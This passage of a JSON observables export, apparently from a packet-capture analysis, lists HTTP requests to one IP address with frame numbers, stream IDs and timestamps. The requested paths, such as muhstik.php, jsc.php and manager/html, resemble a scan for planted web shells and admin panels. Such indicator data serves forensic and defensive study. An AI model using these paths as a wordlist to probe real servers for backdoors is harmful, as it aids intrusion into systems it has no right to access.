            "tcp_stream": 6,
            "frame_number": 335,
            "display_filter": "frame.number == 335",
            "timestamp_epoch": "1577255437.223878000"
          },
          {
            "tcp_stream": 7,
            "frame_number": 357,
            "display_filter": "frame.number == 357",
            "timestamp_epoch": "1577255454.393487000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-1cc9a2faa7be306e193791dd",
        "last_seen_epoch": "1577255454.393487000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255437.223878000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/j.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 939,
            "display_filter": "frame.number == 939",
            "timestamp_epoch": "1577255777.946300000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-f55eeccf707ae69049a2f68d",
        "last_seen_epoch": "1577255777.946300000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255777.946300000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/java.php",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 85,
            "display_filter": "frame.number == 85",
            "timestamp_epoch": "1577255368.254905000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-0dd26ec5044a813109e23a89",
        "last_seen_epoch": "1577255368.254905000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255368.254905000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/jbb.php",
        "evidence": [
          {
            "tcp_stream": 23,
            "frame_number": 706,
            "display_filter": "frame.number == 706",
            "timestamp_epoch": "1577255664.110095000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-b53cbba5d79aa06e364bc2b1",
        "last_seen_epoch": "1577255664.110095000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255664.110095000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/jj1.php",
        "evidence": [
          {
            "tcp_stream": 23,
            "frame_number": 703,
            "display_filter": "frame.number == 703",
            "timestamp_epoch": "1577255663.598513000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-974fdfd0b32df0ed817c6003",
        "last_seen_epoch": "1577255663.598513000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255663.598513000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/jjj.php",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 601,
            "display_filter": "frame.number == 601",
            "timestamp_epoch": "1577255622.246182000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-d2a7671eb49d1a2d986d653d",
        "last_seen_epoch": "1577255622.246182000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255622.246182000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/jkl.php",
        "evidence": [
          {
            "tcp_stream": 65,
            "frame_number": 1983,
            "display_filter": "frame.number == 1983",
            "timestamp_epoch": "1577256279.320568000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-803bb48b205cfa2297422984",
        "last_seen_epoch": "1577256279.320568000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256279.320568000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/joomla/",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 290,
            "display_filter": "frame.number == 290",
            "timestamp_epoch": "1577255408.890352000"
          },
          {
            "tcp_stream": 70,
            "frame_number": 2060,
            "display_filter": "frame.number == 2060",
            "timestamp_epoch": "1577256333.918483000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-28eaacab3ab18201dd96f1c5",
        "last_seen_epoch": "1577256333.918483000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255408.890352000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/Joomla/",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 293,
            "display_filter": "frame.number == 293",
            "timestamp_epoch": "1577255409.675227000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-ff6c9536ffc25415908f3180",
        "last_seen_epoch": "1577255409.675227000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255409.675227000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/jsc.php",
        "evidence": [
          {
            "tcp_stream": 25,
            "frame_number": 814,
            "display_filter": "frame.number == 814",
            "timestamp_epoch": "1577255713.788724000"
          },
          {
            "tcp_stream": 25,
            "frame_number": 820,
            "display_filter": "frame.number == 820",
            "timestamp_epoch": "1577255717.020938000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-82039b0d3ad625db84d43d97",
        "last_seen_epoch": "1577255717.020938000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255713.788724000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/jsc.php.php",
        "evidence": [
          {
            "tcp_stream": 25,
            "frame_number": 817,
            "display_filter": "frame.number == 817",
            "timestamp_epoch": "1577255714.053546000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-4dcca2a5e99a37ef22f58a45",
        "last_seen_epoch": "1577255714.053546000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255714.053546000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/jyyy.php",
        "evidence": [
          {
            "tcp_stream": 45,
            "frame_number": 1411,
            "display_filter": "frame.number == 1411",
            "timestamp_epoch": "1577255998.576383000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-2a2a0e17f425d551c9d66bed",
        "last_seen_epoch": "1577255998.576383000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255998.576383000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/kk.php",
        "evidence": [
          {
            "tcp_stream": 12,
            "frame_number": 491,
            "display_filter": "frame.number == 491",
            "timestamp_epoch": "1577255525.040771000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-3434eeaab60e67668fd893f2",
        "last_seen_epoch": "1577255525.040771000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255525.040771000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/kkl.php",
        "evidence": [
          {
            "tcp_stream": 25,
            "frame_number": 826,
            "display_filter": "frame.number == 826",
            "timestamp_epoch": "1577255717.864274000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-e1fb05acd6cf019f911036dc",
        "last_seen_epoch": "1577255717.864274000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255717.864274000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/knal.php",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 199,
            "display_filter": "frame.number == 199",
            "timestamp_epoch": "1577255395.316797000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-70dc68c1edb6eadeeb6ed409",
        "last_seen_epoch": "1577255395.316797000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255395.316797000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/kpl.php",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 726,
            "display_filter": "frame.number == 726",
            "timestamp_epoch": "1577255677.218363000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-6a7a394f339addaa8945fa53",
        "last_seen_epoch": "1577255677.218363000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255677.218363000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/ks1.php",
        "evidence": [
          {
            "tcp_stream": 26,
            "frame_number": 834,
            "display_filter": "frame.number == 834",
            "timestamp_epoch": "1577255721.789655000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-cc11fc168375b161def10bbe",
        "last_seen_epoch": "1577255721.789655000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255721.789655000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/kvast.php",
        "evidence": [
          {
            "tcp_stream": 64,
            "frame_number": 1954,
            "display_filter": "frame.number == 1954",
            "timestamp_epoch": "1577256249.846670000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-95d2c2a1f32ad59f279ea89b",
        "last_seen_epoch": "1577256249.846670000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256249.846670000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/l.php",
        "evidence": [
          {
            "tcp_stream": 1,
            "frame_number": 25,
            "display_filter": "frame.number == 25",
            "timestamp_epoch": "1577255333.294663000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-fa757fe60d24e29a69b0eb8c",
        "last_seen_epoch": "1577255333.294663000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255333.294663000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/l6.php",
        "evidence": [
          {
            "tcp_stream": 35,
            "frame_number": 1209,
            "display_filter": "frame.number == 1209",
            "timestamp_epoch": "1577255873.714277000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-c4791be89fc13544890c18b3",
        "last_seen_epoch": "1577255873.714277000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255873.714277000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/l7.php",
        "evidence": [
          {
            "tcp_stream": 35,
            "frame_number": 1212,
            "display_filter": "frame.number == 1212",
            "timestamp_epoch": "1577255874.003543000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-2a74c1bfc59989a7b0fc273a",
        "last_seen_epoch": "1577255874.003543000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255874.003543000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/l8.php",
        "evidence": [
          {
            "tcp_stream": 35,
            "frame_number": 1215,
            "display_filter": "frame.number == 1215",
            "timestamp_epoch": "1577255874.277267000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-058aa30de5edca0eb001fc66",
        "last_seen_epoch": "1577255874.277267000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255874.277267000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/lala-dpr.php",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 142,
            "display_filter": "frame.number == 142",
            "timestamp_epoch": "1577255378.881734000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-38bcbd816631cac9178e7246",
        "last_seen_epoch": "1577255378.881734000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255378.881734000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/lala.php",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 139,
            "display_filter": "frame.number == 139",
            "timestamp_epoch": "1577255373.948368000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-d7363514ade3aa5fab1805c0",
        "last_seen_epoch": "1577255373.948368000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255373.948368000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/lang.php?f=1",
        "evidence": [
          {
            "tcp_stream": 6,
            "frame_number": 347,
            "display_filter": "frame.number == 347",
            "timestamp_epoch": "1577255440.560179000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-208f6af87dea4d1a7192fa10",
        "last_seen_epoch": "1577255440.560179000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255440.560179000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/lanke.php",
        "evidence": [
          {
            "tcp_stream": 58,
            "frame_number": 1835,
            "display_filter": "frame.number == 1835",
            "timestamp_epoch": "1577256202.542300000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-950619cea49f70118d226e69",
        "last_seen_epoch": "1577256202.542300000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256202.542300000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/lapan.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1060,
            "display_filter": "frame.number == 1060",
            "timestamp_epoch": "1577255806.996395000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-b4c06ecf704cae2edd852c11",
        "last_seen_epoch": "1577255806.996395000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255806.996395000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/laravel.php",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 402,
            "display_filter": "frame.number == 402",
            "timestamp_epoch": "1577255485.214673000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-b665723cdd1f6429ccfd29d7",
        "last_seen_epoch": "1577255485.214673000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255485.214673000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/ldw.php",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1613,
            "display_filter": "frame.number == 1613",
            "timestamp_epoch": "1577256096.218241000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-8aaa25a4524fc3e1912b402e",
        "last_seen_epoch": "1577256096.218241000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256096.218241000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/liangchen.php",
        "evidence": [
          {
            "tcp_stream": 59,
            "frame_number": 1863,
            "display_filter": "frame.number == 1863",
            "timestamp_epoch": "1577256206.256217000"
          },
          {
            "tcp_stream": 60,
            "frame_number": 1869,
            "display_filter": "frame.number == 1869",
            "timestamp_epoch": "1577256209.798399000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-05b4ae5312fd33b84ca17f74",
        "last_seen_epoch": "1577256209.798399000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256206.256217000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/license.php",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 106,
            "display_filter": "frame.number == 106",
            "timestamp_epoch": "1577255370.291541000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-3649928c02992b445501f73d",
        "last_seen_epoch": "1577255370.291541000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255370.291541000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/lindex.php",
        "evidence": [
          {
            "tcp_stream": 31,
            "frame_number": 1107,
            "display_filter": "frame.number == 1107",
            "timestamp_epoch": "1577255824.342116000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-bcd4c3d1f4ff0ed234d26571",
        "last_seen_epoch": "1577255824.342116000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255824.342116000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/link.php",
        "evidence": [
          {
            "tcp_stream": 64,
            "frame_number": 1945,
            "display_filter": "frame.number == 1945",
            "timestamp_epoch": "1577256247.383709000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-826c8870e7d672394ba706d9",
        "last_seen_epoch": "1577256247.383709000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256247.383709000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/linkr.php",
        "evidence": [
          {
            "tcp_stream": 64,
            "frame_number": 1948,
            "display_filter": "frame.number == 1948",
            "timestamp_epoch": "1577256247.641969000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-fc98de3b19a1f73bc9b40621",
        "last_seen_epoch": "1577256247.641969000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256247.641969000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/linkx.php",
        "evidence": [
          {
            "tcp_stream": 64,
            "frame_number": 1951,
            "display_filter": "frame.number == 1951",
            "timestamp_epoch": "1577256249.571656000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-68fdec082b6c71c8c4e0384f",
        "last_seen_epoch": "1577256249.571656000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256249.571656000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/linux.php",
        "evidence": [
          {
            "tcp_stream": 57,
            "frame_number": 1818,
            "display_filter": "frame.number == 1818",
            "timestamp_epoch": "1577256195.981178000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-f3d62afc38f6c6662f50cc9e",
        "last_seen_epoch": "1577256195.981178000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256195.981178000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/linux1.php",
        "evidence": [
          {
            "tcp_stream": 57,
            "frame_number": 1821,
            "display_filter": "frame.number == 1821",
            "timestamp_epoch": "1577256196.257470000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-4b08eb32bfd06393da60c101",
        "last_seen_epoch": "1577256196.257470000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256196.257470000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/linuxse.php",
        "evidence": [
          {
            "tcp_stream": 43,
            "frame_number": 1363,
            "display_filter": "frame.number == 1363",
            "timestamp_epoch": "1577255968.121943000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-012ce3941e774badf94605df",
        "last_seen_epoch": "1577255968.121943000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255968.121943000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/ljb.php",
        "evidence": [
          {
            "tcp_stream": 63,
            "frame_number": 1909,
            "display_filter": "frame.number == 1909",
            "timestamp_epoch": "1577256230.243751000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-02a915d4a1d64a207d638a65",
        "last_seen_epoch": "1577256230.243751000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256230.243751000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/lkio.php",
        "evidence": [
          {
            "tcp_stream": 28,
            "frame_number": 877,
            "display_filter": "frame.number == 877",
            "timestamp_epoch": "1577255755.114030000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-1cdcee93329a6e68ae768c68",
        "last_seen_epoch": "1577255755.114030000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255755.114030000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/lm.php",
        "evidence": [
          {
            "tcp_stream": 64,
            "frame_number": 1966,
            "display_filter": "frame.number == 1966",
            "timestamp_epoch": "1577256255.154337000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-6cd4ea3a168a78de9b63fb6b",
        "last_seen_epoch": "1577256255.154337000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256255.154337000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/lmn.php",
        "evidence": [
          {
            "tcp_stream": 65,
            "frame_number": 1986,
            "display_filter": "frame.number == 1986",
            "timestamp_epoch": "1577256279.598483000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-d52f55c7b23ae7c9f4b3eceb",
        "last_seen_epoch": "1577256279.598483000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256279.598483000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/log.php",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 109,
            "display_filter": "frame.number == 109",
            "timestamp_epoch": "1577255370.559401000"
          },
          {
            "tcp_stream": 55,
            "frame_number": 1758,
            "display_filter": "frame.number == 1758",
            "timestamp_epoch": "1577256169.753584000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-597faeec4acc2b80049e857e",
        "last_seen_epoch": "1577256169.753584000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255370.559401000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/logo.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 975,
            "display_filter": "frame.number == 975",
            "timestamp_epoch": "1577255786.831303000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-52ad24a65b94f6b0a5838970",
        "last_seen_epoch": "1577255786.831303000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255786.831303000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/logon.php",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 100,
            "display_filter": "frame.number == 100",
            "timestamp_epoch": "1577255369.755450000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-940776cd76ba506ac1c95b95",
        "last_seen_epoch": "1577255369.755450000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255369.755450000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/lol.php",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 183,
            "display_filter": "frame.number == 183",
            "timestamp_epoch": "1577255393.209701000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-17585b894dfe706e784370f0",
        "last_seen_epoch": "1577255393.209701000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255393.209701000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/lost.php",
        "evidence": [
          {
            "tcp_stream": 56,
            "frame_number": 1796,
            "display_filter": "frame.number == 1796",
            "timestamp_epoch": "1577256189.393159000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-d0f5430bee9e0fbcc3c46b33",
        "last_seen_epoch": "1577256189.393159000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256189.393159000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/lz.php",
        "evidence": [
          {
            "tcp_stream": 27,
            "frame_number": 851,
            "display_filter": "frame.number == 851",
            "timestamp_epoch": "1577255725.953590000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-2cec6c99ad1a7bb41b571a1d",
        "last_seen_epoch": "1577255725.953590000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255725.953590000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/m.php",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1674,
            "display_filter": "frame.number == 1674",
            "timestamp_epoch": "1577256136.077006000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-5555660ac8cd4382305e2be8",
        "last_seen_epoch": "1577256136.077006000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256136.077006000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/m.php?pbid=open",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1045,
            "display_filter": "frame.number == 1045",
            "timestamp_epoch": "1577255805.584484000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-fd0283ba5f084686a29a78cd",
        "last_seen_epoch": "1577255805.584484000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255805.584484000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/manager/html",
        "evidence": [
          {
            "tcp_stream": 76,
            "frame_number": 2420,
            "display_filter": "frame.number == 2420",
            "timestamp_epoch": "1577256450.983470000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-46cfc99104030113554fcb44",
        "last_seen_epoch": "1577256450.983470000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256450.983470000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/mazi.php",
        "evidence": [
          {
            "tcp_stream": 50,
            "frame_number": 1491,
            "display_filter": "frame.number == 1491",
            "timestamp_epoch": "1577256049.888275000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-433e673193ed635b5b401d6c",
        "last_seen_epoch": "1577256049.888275000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256049.888275000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/meijianxue.php",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 448,
            "display_filter": "frame.number == 448",
            "timestamp_epoch": "1577255503.872644000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-41d3755c732fa05199f79685",
        "last_seen_epoch": "1577255503.872644000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255503.872644000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/meng.php",
        "evidence": [
          {
            "tcp_stream": 62,
            "frame_number": 1882,
            "display_filter": "frame.number == 1882",
            "timestamp_epoch": "1577256214.874055000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-b8b6522e397333fb089c65b2",
        "last_seen_epoch": "1577256214.874055000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256214.874055000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/miao.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 936,
            "display_filter": "frame.number == 936",
            "timestamp_epoch": "1577255777.662062000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-79c9d5423e6ddd45e52753de",
        "last_seen_epoch": "1577255777.662062000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255777.662062000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/min.php",
        "evidence": [
          {
            "tcp_stream": 35,
            "frame_number": 1231,
            "display_filter": "frame.number == 1231",
            "timestamp_epoch": "1577255885.584540000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-7b1a5ea5088d46b38a8ea699",
        "last_seen_epoch": "1577255885.584540000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255885.584540000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/mjx.php",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 421,
            "display_filter": "frame.number == 421",
            "timestamp_epoch": "1577255492.273322000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-332dcbc75a7d208f62fd24da",
        "last_seen_epoch": "1577255492.273322000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255492.273322000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/mm.php",
        "evidence": [
          {
            "tcp_stream": 28,
            "frame_number": 880,
            "display_filter": "frame.number == 880",
            "timestamp_epoch": "1577255755.394441000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-00aab822848dd0631210aed0",
        "last_seen_epoch": "1577255755.394441000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255755.394441000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/mmp.php",
        "evidence": [
          {
            "tcp_stream": 28,
            "frame_number": 883,
            "display_filter": "frame.number == 883",
            "timestamp_epoch": "1577255757.689966000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-8582ba206bba5696bf2c9d72",
        "last_seen_epoch": "1577255757.689966000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255757.689966000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/mobai.PHP",
        "evidence": [
          {
            "tcp_stream": 65,
            "frame_number": 2004,
            "display_filter": "frame.number == 2004",
            "timestamp_epoch": "1577256284.155219000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-a8e388ba75cb99149826577f",
        "last_seen_epoch": "1577256284.155219000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256284.155219000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/Moxin.PHP",
        "evidence": [
          {
            "tcp_stream": 65,
            "frame_number": 1992,
            "display_filter": "frame.number == 1992",
            "timestamp_epoch": "1577256280.655285000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-b9c58d189f9af52e89fe80b5",
        "last_seen_epoch": "1577256280.655285000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256280.655285000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/muhstik-dpr.php",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 180,
            "display_filter": "frame.number == 180",
            "timestamp_epoch": "1577255391.335069000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-3cd9ec9efb8162398a803a48",
        "last_seen_epoch": "1577255391.335069000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255391.335069000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/muhstik.php",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 162,
            "display_filter": "frame.number == 162",
            "timestamp_epoch": "1577255387.457217000"
          },
          {
            "tcp_stream": 5,
            "frame_number": 171,
            "display_filter": "frame.number == 171",
            "timestamp_epoch": "1577255390.499651000"
          }
        ],
        "is_private": null,
